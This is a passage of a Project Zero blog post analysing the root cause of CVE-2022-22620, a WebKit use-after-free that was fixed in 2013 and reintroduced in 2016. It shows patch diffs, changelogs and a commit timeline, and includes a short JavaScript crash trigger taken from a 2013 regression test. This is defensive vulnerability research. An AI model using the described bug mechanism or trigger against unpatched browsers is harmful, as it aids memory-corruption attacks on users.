2pt;border-bottom-color:#00aa00;border-top-width:0pt;border-right-width:1pt;border-left-color:#00aa00;vertical-align:top;border-right-color:#00aa00;border-left-width:1pt;border-top-style:solid;background-color:#ddffdd;border-left-style:solid;border-bottom-width:1pt;width:421.5pt;border-top-color:#cc0000;border-bottom-style:solid}.ZslSztaQWN-c38{border-right-style:solid;padding:0pt 2pt 0pt 2pt;border-bottom-color:#999988;border-top-width:1pt;border-right-width:1pt;border-left-color:#d7d7d7;vertical-align:top;border-right-color:#d7d7d7;border-left-width:1pt;border-top-style:solid;background-color:#eeeeee;border-left-style:solid;border-bottom-width:1pt;width:30pt;border-top-color:#d7d7d7;border-bottom-style:solid}.ZslSztaQWN-c30{border-right-style:solid;padding:0pt 2pt 0pt 2pt;border-bottom-color:#999988;border-top-width:1pt;border-right-width:1pt;border-left-color:#999999;vertical-align:top;border-right-color:#d7d7d7;border-left-width:0pt;border-top-style:solid;background-color:#eeeeee;border-left-style:solid;border-bottom-width:1pt;width:27pt;border-top-color:#d7d7d7;border-bottom-style:solid}.ZslSztaQWN-c44{border-right-style:solid;padding:1pt 2pt 1pt 2pt;border-bottom-color:#cc0000;border-top-width:0pt;border-right-width:0pt;border-left-color:#d7d7d7;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffffff;border-left-style:solid;border-bottom-width:1pt;width:421.5pt;border-top-color:#000000;border-bottom-style:solid}.ZslSztaQWN-c36{border-right-style:solid;padding:0pt 4pt 0pt 4pt;border-bottom-color:#999988;border-top-width:1pt;border-right-width:1pt;border-left-color:#d7d7d7;vertical-align:top;border-right-color:#cc0000;border-left-width:1pt;border-top-style:solid;background-color:#eeeedd;border-left-style:solid;border-bottom-width:1pt;width:30pt;border-top-color:#999988;border-bottom-style:solid}.ZslSztaQWN-c51{border-right-style:solid;padding:1pt 2pt 1pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:0pt;border-left-color:#d7d7d7;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffffff;border-left-style:solid;border-bottom-width:0pt;width:421.5pt;border-top-color:#d7d7d7;border-bottom-style:solid}.ZslSztaQWN-c13{border-right-style:solid;padding:0pt 4pt 0pt 4pt;border-bottom-color:#999988;border-top-width:1pt;border-right-width:1pt;border-left-color:#888866;vertical-align:top;border-right-color:#d7d7d7;border-left-width:0pt;border-top-style:solid;background-color:#eeeedd;border-left-style:solid;border-bottom-width:1pt;width:27pt;border-top-color:#999988;border-bottom-style:solid}.ZslSztaQWN-c48{border-right-style:solid;padding:0pt 4pt 0pt 4pt;border-bottom-color:#999988;border-top-width:1pt;border-right-width:1pt;border-left-color:#d7d7d7;vertical-align:top;border-right-color:#d7d7d7;border-left-width:1pt;border-top-style:solid;background-color:#eeeedd;border-left-style:solid;border-bottom-width:1pt;width:30pt;border-top-color:#999988;border-bottom-style:solid}.ZslSztaQWN-c10{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.ZslSztaQWN-c50{border-right-style:solid;padding:1pt 2pt 1pt 2pt;border-bottom-color:#d7d7d7;border-top-width:1pt;border-right-width:1pt;border-left-color:#d7d7d7;vertical-align:top;border-right-color:#d7d7d7;border-left-width:1pt;border-top-style:solid;background-color:#f7f7f7;border-left-style:solid;border-bottom-width:1pt;width:421.5pt;border-top-color:#d7d7d7;border-bottom-style:solid}.ZslSztaQWN-c34{border-right-style:solid;padding:1pt 2pt 1pt 2pt;border-bottom-color:#cc0000;border-top-width:1pt;border-right-width:1pt;border-left-color:#cc0000;vertical-align:top;border-right-color:#cc0000;border-left-width:1pt;border-top-style:solid;background-color:#ffdddd;border-left-style:solid;border-bottom-width:0pt;width:421.5pt;border-top-color:#cc0000;border-bottom-style:solid}.ZslSztaQWN-c18{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:center;height:11pt}.ZslSztaQWN-c11{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.ZslSztaQWN-c5{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.ZslSztaQWN-c31{padding-top:20pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.ZslSztaQWN-c52{padding-top:6pt;padding-bottom:0pt;line-height:1.45;text-align:left}.ZslSztaQWN-c46{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0;font-weight:400}.ZslSztaQWN-c24{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:right}.ZslSztaQWN-c8{color:#000000;font-weight:400;font-size:20pt;font-family:"Arial"}.ZslSztaQWN-c25{color:#24292f;font-weight:400;font-size:10pt;font-family:Consolas,"Courier New"}.ZslSztaQWN-c12{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.ZslSztaQWN-c17{font-size:10pt;font-family:Consolas,"Courier New";color:#0f9d58;font-weight:400}.ZslSztaQWN-c0{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.ZslSztaQWN-c32{font-size:10pt;font-family:Consolas,"Courier New";color:#455a64;font-weight:400}.ZslSztaQWN-c21{color:#000000;font-weight:400;font-size:7pt;font-family:"Verdana"}.ZslSztaQWN-c1{font-size:10pt;font-family:Consolas,"Courier New";color:#3367d6;font-weight:400}.ZslSztaQWN-c33{font-size:7pt;font-family:"Verdana";color:#888866;font-weight:400}.ZslSztaQWN-c16{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.ZslSztaQWN-c3{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:400}.ZslSztaQWN-c27{border-spacing:0;border-collapse:collapse;margin-right:auto}.ZslSztaQWN-c42{color:#333333;font-weight:700;font-size:11pt;font-family:"Arial"}.ZslSztaQWN-c2{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.ZslSztaQWN-c28{font-size:7pt;font-family:"Courier New";font-weight:400}.ZslSztaQWN-c43{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.ZslSztaQWN-c4{font-family:Consolas,"Courier New";color:#0d904f;font-weight:400}.ZslSztaQWN-c6{text-decoration:none;vertical-align:baseline;font-style:normal}.ZslSztaQWN-c19{orphans:2;widows:2}.ZslSztaQWN-c29{color:#1155cc;font-weight:700}.ZslSztaQWN-c23{margin-left:36pt;padding-left:0pt}.ZslSztaQWN-c47{font-weight:400;font-family:Consolas,"Courier New"}.ZslSztaQWN-c14{color:inherit;text-decoration:inherit}.ZslSztaQWN-c22{padding:0;margin:0}.ZslSztaQWN-c26{margin-left:72pt;padding-left:0pt}.ZslSztaQWN-c20{height:11pt}.ZslSztaQWN-c15{height:0pt}.ZslSztaQWN-c37{background-color:#99ee99}.ZslSztaQWN-c40{height:11.2pt}.ZslSztaQWN-c35{height:12pt}.ZslSztaQWN-c7{height:12.8pt}.ZslSztaQWN-c39{background-color:#ee9999}.ZslSztaQWN-c41{margin-left:36pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="ZslSztaQWN-c43">
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c5">Posted by Maddie Stone, Google Project Zero</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>Whenever there’s a new in-the-wild 0-day disclosed, I’m very interested in understanding the root cause of the bug. This allows us to then understand if it was fully fixed, look for variants, and brainstorm new mitigations. This blog is the story of a “zombie” Safari 0-day and how it came back from the dead to be disclosed as exploited in-the-wild in 2022. CVE-2022-22620 was initially fixed in 2013, reintroduced in 2016, and then disclosed as exploited in-the-wild in 2022. If you’re interested in the full root cause analysis for CVE-2022-22620, we’ve published it </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22620.html">here</a></span><span class="ZslSztaQWN-c5">.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>In the </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html">2020 Year in Review of 0-days exploited in the wild</a></span><span class="ZslSztaQWN-c5">, I wrote how 25% of all 0-days detected and disclosed as exploited in-the-wild in 2020 were variants of previously disclosed vulnerabilities. Almost halfway through 2022 and it seems like we’re seeing a similar trend. Attackers don’t need novel bugs to effectively exploit users with 0-days, but instead can use vulnerabilities closely related to previously disclosed ones. This blog focuses on just one example from this year because it’s a little bit different from other variants that we’ve discussed before. Most variants we’ve discussed previously exist due to incomplete patching. But in this case, the variant was completely patched when the vulnerability was initially reported in 2013. However, the variant was reintroduced 3 years later during large refactoring efforts. The vulnerability then continued to exist for 5 years until it was fixed as an in-the-wild 0-day in January 2022.</span></p><h1 class="ZslSztaQWN-c31 ZslSztaQWN-c19" id="h.73vyhrucsc6"><span class="ZslSztaQWN-c8 ZslSztaQWN-c6">Getting Started</span></h1>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>In the case of CVE-2022-22620 I had two pieces of information to help me figure out the vulnerability: </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/486816dc355c19f1de1b8056f85d0bbf7084dd6e">the patch</a></span><span> (thanks to Apple for sharing with me!) and </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://support.apple.com/en-us/HT213093">the description from the security bulletin</a></span><span> stating that the vulnerability is a use-after-free. The primary change in the patch was to change the type of the second argument (</span><span class="ZslSztaQWN-c4">stateObject</span><span>) to the function </span><span class="ZslSztaQWN-c4">FrameLoader::loadInSameDocument</span><span> from a raw pointer, </span><span class="ZslSztaQWN-c4">SerializedScriptValue*</span><span> to a reference-counted pointer, </span><span class="ZslSztaQWN-c4">RefPtr<SerializedScriptValue></span><span class="ZslSztaQWN-c5">.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c19 ZslSztaQWN-c45"><span class="ZslSztaQWN-c29"><a class="ZslSztaQWN-c141" href="https://trac.webkit.org/changeset/288539/webkit/trunk/Source/WebCore/loader/FrameLoader.cpp">trunk/Source/WebCore/loader/FrameLoader.cpp</a></span><span class="ZslSztaQWN-c6 ZslSztaQWN-c42"> </span></p><a id="t.d2b748d06cece430655335607ebc8e7dbe422f78"></a><a id="t.0"></a><table class="ZslSztaQWN-c27"><tr class="ZslSztaQWN-c7"><td class="ZslSztaQWN-c30" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c18"><span class="ZslSztaQWN-c21 ZslSztaQWN-c6"></span></p></td><td class="ZslSztaQWN-c38" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c18"><span class="ZslSztaQWN-c21 ZslSztaQWN-c6"></span></p></td><td class="ZslSztaQWN-c50" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c21 ZslSztaQWN-c6"></span></p></td></tr><tr class="ZslSztaQWN-c40"><td class="ZslSztaQWN-c13" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c24 ZslSztaQWN-c19"><span class="ZslSztaQWN-c33">1094</span></p></td><td class="ZslSztaQWN-c48" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c24 ZslSztaQWN-c19"><span class="ZslSztaQWN-c33">1094</span></p></td><td class="ZslSztaQWN-c51" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c28">// This does the same kind of work that didOpenURL does, except it relies on the fact</span></p></td></tr><tr class="ZslSztaQWN-c40"><td class="ZslSztaQWN-c13" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c24 ZslSztaQWN-c19"><span class="ZslSztaQWN-c33">1095</span></p></td><td class="ZslSztaQWN-c48" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c19 ZslSztaQWN-c24"><span class="ZslSztaQWN-c33">1095</span></p></td><td class="ZslSztaQWN-c44" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c28">// that a higher level already checked that the URLs match and the scrolling is the right thing to do.</span></p></td></tr><tr class="ZslSztaQWN-c35"><td class="ZslSztaQWN-c13" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c24 ZslSztaQWN-c19"><span class="ZslSztaQWN-c33">1096</span></p></td><td class="ZslSztaQWN-c36" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c24 ZslSztaQWN-c19"><span class="ZslSztaQWN-c33"> </span></p></td><td class="ZslSztaQWN-c34" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c28">void FrameLoader::loadInSameDocument(</span><span class="ZslSztaQWN-c28 ZslSztaQWN-c39">const URL& url, SerializedScriptValue*</span><span class="ZslSztaQWN-c28"> stateObject, bool isNewNavigation)</span></p></td></tr><tr class="ZslSztaQWN-c35"><td class="ZslSztaQWN-c13" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c24 ZslSztaQWN-c19"><span class="ZslSztaQWN-c33"> </span></p></td><td class="ZslSztaQWN-c9" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c24 ZslSztaQWN-c19"><span class="ZslSztaQWN-c33">1096</span></p></td><td class="ZslSztaQWN-c49" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c28">void FrameLoader::loadInSameDocument(</span><span class="ZslSztaQWN-c28 ZslSztaQWN-c37">URL url, RefPtr<SerializedScriptValue></span><span class="ZslSztaQWN-c28"> stateObject, bool isNewNavigation)</span></p></td></tr></table>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c5">Whenever I’m doing a root cause analysis on a browser in-the-wild 0-day, along with studying the code, I also usually search through commit history and bug trackers to see if I can find anything related. I do this to try and understand when the bug was introduced, but also to try and save time. (There’s a lot of 0-days to be studied! 😀)</span></p><h1 class="ZslSztaQWN-c31 ZslSztaQWN-c19" id="h.biu13uvstqei"><span class="ZslSztaQWN-c8 ZslSztaQWN-c6">The Previous Life</span></h1>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>In the case of CVE-2022-22620, I was scrolling through the </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://git-scm.com/docs/git-blame">git </a></span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://git-scm.com/docs/git-blame">blame</a></span><span> view of </span><span class="ZslSztaQWN-c4">FrameLoader.cpp</span><span>. Specifically I was looking at the </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/blame/7b23cae2a1b1ffd026288f15261f8ba272c3b24b/Source/WebCore/loader/FrameLoader.cpp#L1096">definition of </a></span><span class="ZslSztaQWN-c16 ZslSztaQWN-c47"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/blame/7b23cae2a1b1ffd026288f15261f8ba272c3b24b/Source/WebCore/loader/FrameLoader.cpp#L1096">loadInSameDocument</a></span><span>. When looking at the git blame for this line prior to our patch, it’s a </span><span>very </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/aa31b6b4d09b09acdf1cec11f2f7f35bd362dd0e">interesting commit</a></span><span>. The commit was actually changing the </span><span class="ZslSztaQWN-c4">stateObject</span><span> argument from a reference-counted pointer, </span><span class="ZslSztaQWN-c4">PassRefPtr<SerializedScriptValue></span><span>, to a raw pointer, </span><span class="ZslSztaQWN-c4">SerializedScriptValue</span><span class="ZslSztaQWN-c4">*</span><span>. This change from December 2016 introduced CVE-2022-22620. The </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/aa31b6b4d09b09acdf1cec11f2f7f35bd362dd0e#diff-9fb71b6fa7156160059b0216d05933e621d422df2b20f72ad7399eb946b8ba04">Changelog even states</a></span><span class="ZslSztaQWN-c5">:</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span><br></span><span class="ZslSztaQWN-c25 ZslSztaQWN-c6">(WebCore::FrameLoader::loadInSameDocument): Take a raw pointer for the</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c25 ZslSztaQWN-c6">serialized script value state object. No one was passing ownership.</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c25 ZslSztaQWN-c6">But pass it along to statePopped as a Ref since we need to pass ownership</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c25 ZslSztaQWN-c6">of the null value, at least for now.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>Now I was intrigued and wanted to track down the previous commit that had changed the </span><span class="ZslSztaQWN-c4">stateObject</span><span> argument to </span><span class="ZslSztaQWN-c4">PassRefPtr<SerializedScriptValue></span><span>. I was in luck and only had to go </span><span>back in the history two more steps</span><span>. There was a </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/4b3be1d3a8d22cb2b2f5ddb8299f7cd25a21cebf">commit from 2013</a></span><span> that changed the </span><span class="ZslSztaQWN-c4">stateObject</span><span> argument from the raw pointer, </span><span class="ZslSztaQWN-c4">SerializedScriptValue*</span><span>, to a reference-counted pointer, </span><span class="ZslSztaQWN-c4">PassRefPtr<SerializedScriptValue></span><span class="ZslSztaQWN-c5">. This commit from February 2013 was doing the same thing that our commit in 2022 was doing. The commit was titled “Use-after-free in SerializedScriptValue::deserialize” and included a good description of how that use-after-free worked.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c5">The commit also included a test:</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c6 ZslSztaQWN-c25">Added a test that demonstrated a crash due to use-after-free</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c25 ZslSztaQWN-c6">of SerializedScriptValue.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c25 ZslSztaQWN-c6"></span></p>
<p class="ZslSztaQWN-c19 ZslSztaQWN-c52"><span class="ZslSztaQWN-c25 ZslSztaQWN-c6">Test: fast/history/replacestate-nocrash.html</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c5">The trigger from this test is:</span></p><a id="t.bea0338a691e658fe5342eccc78ecfb67c0fd560"></a><a id="t.1"></a><table class="ZslSztaQWN-c27"><tr class="ZslSztaQWN-c15"><td class="ZslSztaQWN-c10" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c1">Object</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">prototype</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">__defineSetter__</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">"foo"</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c46">function</span><span class="ZslSztaQWN-c2">(){</span><span class="ZslSztaQWN-c0">history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">replaceState</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">""</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">""</span><span class="ZslSztaQWN-c2">)});</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">replaceState</span><span class="ZslSztaQWN-c2">({</span><span class="ZslSztaQWN-c0">foo</span><span class="ZslSztaQWN-c2">:</span><span class="ZslSztaQWN-c3">1</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0">zzz</span><span class="ZslSztaQWN-c2">:</span><span class="ZslSztaQWN-c17">"a"</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">repeat</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c3">1</span><span class="ZslSztaQWN-c2"><<</span><span class="ZslSztaQWN-c3">22</span><span class="ZslSztaQWN-c2">)},</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">""</span><span class="ZslSztaQWN-c2">);</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">state</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">length</span><span class="ZslSztaQWN-c2">;</span></p></td></tr></table>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c5">My hope was that the test would crash the vulnerable version of WebKit and I’d be done with my root cause analysis and could move on to the next bug. Unfortunately, it didn’t crash.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>The commit description included the comment to check out a Chromium bug. (During this time Chromium still used the WebKit rendering engine. Chromium forked</span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://blog.chromium.org/2013/04/blink-rendering-engine-for-chromium.html"> the Blink rendering engine in April 2013</a></span><span>.) </span><span>I saw that my now Project Zero teammate, Sergei Glazunov, originally reported the </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://bugs.chromium.org/p/chromium/issues/detail?id=171839">Chromium bug</a></span><span> </span><span>back in 2013</span><span>, so I asked him for the details.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>The use-after-free from 2013 (</span><span>no CVE was assigned</span><span>) </span><span>was</span><span> a bug in the implementation of the History API. This API allows access to (and modification of) a stack of the pages visited in the current frame, and these page states are stored as a </span><span class="ZslSztaQWN-c4">SerializedScriptValue</span><span>. The History API exposes a getter for </span><span class="ZslSztaQWN-c4">state</span><span>, and a method </span><span class="ZslSztaQWN-c4">replaceState</span><span> which allows overwriting the "most recent" history entry. <br><br>The bug was that in the implementation of the getter for </span><span class="ZslSztaQWN-c4">state</span><span>, </span><span class="ZslSztaQWN-c4">SerializedScriptValue::deserialize</span><span> was called on the current "most recent" history entry value without increasing its reference count. As </span><span class="ZslSztaQWN-c4">SerializedScriptValue::deserialize</span><span> could trigger a callback into user JavaScript, the callback could call </span><span class="ZslSztaQWN-c4">replaceState</span><span> to drop the only reference to the history entry value by replacing it with a new value. When the callback returned, the rest of </span><span class="ZslSztaQWN-c4">SerializedScriptValue::deserialize</span><span> ran with a free'd </span><span class="ZslSztaQWN-c4">this</span><span> pointer.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>In order to fix this bug, it appears that the developers decided to change every caller of </span><span class="ZslSztaQWN-c4">SerializedScriptValue::deserialize</span><span> to increase the reference count </span><span>on the</span><span> </span><span class="ZslSztaQWN-c4">stateObject</span><span> </span><span>by changing the argument types from a raw pointer to </span><span class="ZslSztaQWN-c4">PassRefPtr<SerializedScriptValue></span><span>. While the originally reported trigger called </span><span class="ZslSztaQWN-c4">deserialize</span><span> on the </span><span class="ZslSztaQWN-c4">stateObject</span><span> through the </span><span class="ZslSztaQWN-c4">V8History::stateAccessorGetter</span><span> function, the developers’ fix also caught and patched the path to </span><span class="ZslSztaQWN-c4">deserialize</span><span> through </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span class="ZslSztaQWN-c5">.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>The timeline of the changes impacting the </span><span class="ZslSztaQWN-c4">stateObject</span><span class="ZslSztaQWN-c5"> is:</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<ul class="c22 lst-kix_vnkr79j0brd5-0 start"><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/e544495d282d4726fcb491e0e441ddba338b5ec1">December 2009 - state object History API added.</a></span></li></ul><ul class="c22 lst-kix_vnkr79j0brd5-1 start" style="margin-left: 23pt;"><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">HistoryItem.m_stateObject</span><span> is type </span><span class="ZslSztaQWN-c4">RefPtr<SerializedScriptValue></span></li><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">HistoryItem::stateObject()</span><span> returns </span><span class="ZslSztaQWN-c4">SerializedScriptValue*</span></li><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">FrameLoader::loadInSameDocument</span><span> takes </span><span class="ZslSztaQWN-c4">stateObject</span><span> argument as </span><span class="ZslSztaQWN-c4">SerializedScriptValue*</span></li></ul>
<ul class="c22 lst-kix_vnkr79j0brd5-0"><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/4b3be1d3a8d22cb2b2f5ddb8299f7cd25a21cebf">January 2013 - Patching Sergei’s bug</a></span></li></ul><ul class="c22 lst-kix_vnkr79j0brd5-1 start" style="margin-left: 23pt;"><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">HistoryItem::stateObject</span><span> returns a </span><span class="ZslSztaQWN-c4">PassRefPtr<SerializedScriptValue></span></li><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">FrameLoader::loadInSameDocument</span><span> takes </span><span class="ZslSztaQWN-c4">stateObject</span><span> argument as </span><span class="ZslSztaQWN-c4">PassRefPtr<SerializedScriptValue></span></li></ul>
<ul class="c22 lst-kix_vnkr79j0brd5-0"><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/ec83a53b569f6c2b493e9874a498cd1b683656a1">September 2015- Deprecating use of PassRefPtr in history directory</a></span></li></ul><ul class="c22 lst-kix_vnkr79j0brd5-1 start" style="margin-left: 23pt;"><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">HistoryItem::stateObject</span><span> returns </span><span class="ZslSztaQWN-c4">RefPtr</span><span> instead of </span><span class="ZslSztaQWN-c4">PassRefPtr</span></li></ul>
